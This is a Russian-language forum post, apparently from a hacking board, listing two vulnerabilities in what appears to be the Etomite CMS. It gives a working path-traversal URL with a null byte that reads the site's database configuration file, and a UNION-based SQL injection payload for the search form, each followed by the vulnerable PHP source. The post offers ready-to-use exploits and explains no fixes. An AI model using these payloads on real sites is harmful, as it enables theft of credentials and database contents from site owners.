
15.01.2010, 12:35
|
|
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
Провел на форуме: 812087
Репутация:
129
|
|
6)Произвольное чтение файлов
Условия: MG=off и RG=on
Код:
http://host/manager/actions/static/document_data.static.action.php?id=3/../../../../includes/config.inc.php%00
Уязвимый код document_data.static.action.php
PHP код:
<?php
$buffer = "";
$filename = "../assets/cache/docid_".$id.".etoCache";
$handle = @fopen($filename, "r");
if(!$handle)
{
$buffer = "<div class=\"noSymbolPage\"><div class=\"noSymbolText\">".$_lang['page_data_notcached']."</div></div>";
} else
{ while (!feof($handle))
{ $buffer .= fgets($handle, 4096);}
fclose ($handle);
$buffer=$_lang['page_data_cached']."<p><textarea style='width: 100%; border: 3px solid #4791C5;'>".htmlspecialchars($buffer)."</textarea>";
}
echo $buffer;
?>
7)SQL-injection
Условия: MG=off
Код:
В поле поиска на главной страннице вводим ')union/**/select/**/1,2,3,user()# и в конце странниц результата поиска видим пользователя mysql
Уязвимый код записан в базе таблица site_snippets с именем SearchForm, или берется из настроек кэша \assets\cache\etomiteCache.idx.php тут он закодирован в base64
PHP код:
<?php
$searchString =
isset($_POST['search']) &&
$_POST['search']!= "{{" &&
$_POST['search']!= "[[" &&
$_POST['search']!= "[(" &&
$_POST['search']!= "[~" &&
$_POST['search']!= "[*" ?
$_POST['search'] : "" ;
.....
if(isset($_POST['search']) && $_POST['search']!='')
{
$search = explode(" ", $_POST['search']);
$tbl = $etomite->dbConfig['dbase'].".".$etomite->dbConfig['table_prefix']."site_content";
$sql = "SELECT id, pagetitle, parent, description FROM $tbl WHERE ($tbl.content LIKE '%".$search[0]."%'";
for ($x=1;$x < count($search); $x++) {
$sql .= " AND $tbl.content like '%$search[$x]%'";
}
$sql .= " OR $tbl.pagetitle LIKE '%".$search[0]."%' ";
for ($x=1;$x < count($search); $x++) {
$sql .= " AND $tbl.pagetitle like '%$search[$x]%'";
}
$sql .= " OR $tbl.description LIKE '%".$search[0]."%' ";
for ($x=1;$x < count($search); $x++) {
$sql .= " AND $tbl.description like '%$search[$x]%'";
}
$sql .= ") AND $tbl.published = 1 AND $tbl.searchable=1 AND $tbl.deleted=0;";
$rs = $etomite->dbQuery($sql);
Последний раз редактировалось [NiGHT]DarkAngel; 25.01.2010 в 16:23..
|
|
|